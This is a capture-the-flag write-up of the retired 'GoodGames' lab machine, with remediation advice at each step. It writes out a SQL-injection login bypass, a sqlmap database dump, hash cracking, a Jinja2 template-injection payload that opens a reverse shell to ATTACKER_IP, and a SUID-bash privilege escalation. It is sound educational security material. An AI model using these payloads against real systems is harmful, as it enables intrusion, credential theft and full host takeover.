GoodGames
Summary
Target goodgames.htb ($TARGET) was fully compromised by chaining four weaknesses. A SQL injection flaw in the main gaming-site login form let me bypass authentication and extract the administrator's password hash from the database. That hash was unsalted MD5, cracked offline in seconds to the plaintext '[REDACTED: recovered credential]'.
The same password had been reused for the internal Flask administration panel on a second virtual host and for the SSH account of a system user, so one cracked credential unlocked all three services. Once inside the admin panel, a Jinja2 Server-Side Template Injection flaw in the profile-name field gave remote code execution inside a Docker container running as root. From the container, I SSH'd to the underlying host using the reused password and captured the user flag.
The container's root account could write to the host's /home/augustus directory because it was bind-mounted into the container — I placed a SUID-root copy of bash there, executed it on the host, and achieved full root access.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<second-host-reached-after-pivoting>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
echo "$TARGET goodgames.htb internal-administration.goodgames.htb" | sudo tee -a /etc/hostsnmap -sV -sC -p- --min-rate 5000 $TARGETffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://$TARGET/" -H 'Host: FUZZ.goodgames.htb' -mc 200,302 -fw 0 ' or 1=1-- -) returned HTTP 200 with a fresh session cookie, confirming the server executed the injected SQL. Sqlmap was then run against the same endpoint to enumerate the back-end database, identify the 'main' schema and 'user' table, and dump every row, recovering the administrator's email (admin@goodgames.htb) and its hashed password.Exact commands 3
curl -sS -i -X POST 'http://goodgames.htb/login' --data "email=' or 1=1-- -&password=x"sqlmap -u 'http://goodgames.htb/login' --data='email=admin@goodgames.htb&password=x' -p email --batch --dump --threads=4 --flush-session --answers='follow=Y' | tee /tmp/gg_sqlmap_dump.txtfind /home/kali/.local/share/sqlmap/output/ -type f \( -name '*.csv' -o -name 'log' \) -exec cat {} +FixReplace string-built SQL queries with parameterized statementsCritical
Exact commands 3
echo "$PASSWORD" > /tmp/gg_hash.txthashcat -m 0 /tmp/gg_hash.txt /usr/share/wordlists/rockyou.txthashcat -m 0 /tmp/gg_hash.txt --showFixReplace unsalted MD5 with a modern adaptive password hashing algorithmCritical
Exact commands 1
curl -sS -c /tmp/gg_admin.cookies -b /tmp/gg_admin.cookies -X POST 'http://internal-administration.goodgames.htb/login' --data "username=admin@goodgames.htb&password=$PASSWORD" -L -IFixEnforce unique credentials for every service and system accountHigh
{{7*7}} in the name field and saving caused the server to evaluate and return '49' in the rendered page, confirming template injection. A Jinja2 RCE payload using the Python object hierarchy was then submitted to spawn a reverse shell, establishing a root shell inside the Docker container that hosts the admin application.Exact commands 3
curl -sS -b /tmp/gg_admin.cookies -c /tmp/gg_admin.cookies -X POST 'http://internal-administration.goodgames.htb/settings' --data-urlencode 'name={{7*7}}' | grep -o '49'nc -lvnp 4444curl -sS -b /tmp/gg_admin.cookies -c /tmp/gg_admin.cookies -X POST 'http://internal-administration.goodgames.htb/settings' --data-urlencode $'name={{ cycler.__init__.__globals__.os.popen("bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"").read() }}'FixNever pass user-controlled strings into the Jinja2 template engineCritical
{{ variable }}), never by constructing or evaluating a template string from user input. Enable autoescape globally in the Flask application. If the application currently calls render_template_string() with user data, replace it with render_template() against a static file. Run the application as an unprivileged user so that RCE through any channel has a limited blast radius.Exact commands 3
ip route | grep defaultssh augustus@$INTERNAL_HOSTcat /home/augustus/user.txtExact commands 4
cp /bin/bash /home/augustus/bash && chmod +s /home/augustus/bashls -la /home/augustus/bash/home/augustus/bash -pcat /root/root.txtFixRun Docker containers as non-root and never bind-mount writable user home directoriesCritical
-v /path:/path:ro). Avoid bind-mounting home directories containing user SSH sessions or flag files into any container. Enable Docker user-namespace remapping so that container root maps to an unprivileged host UID, preventing privilege escalation even if a root shell is obtained inside the container.Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Exposed services
| 80/tcp | http recon-sweep-discovered |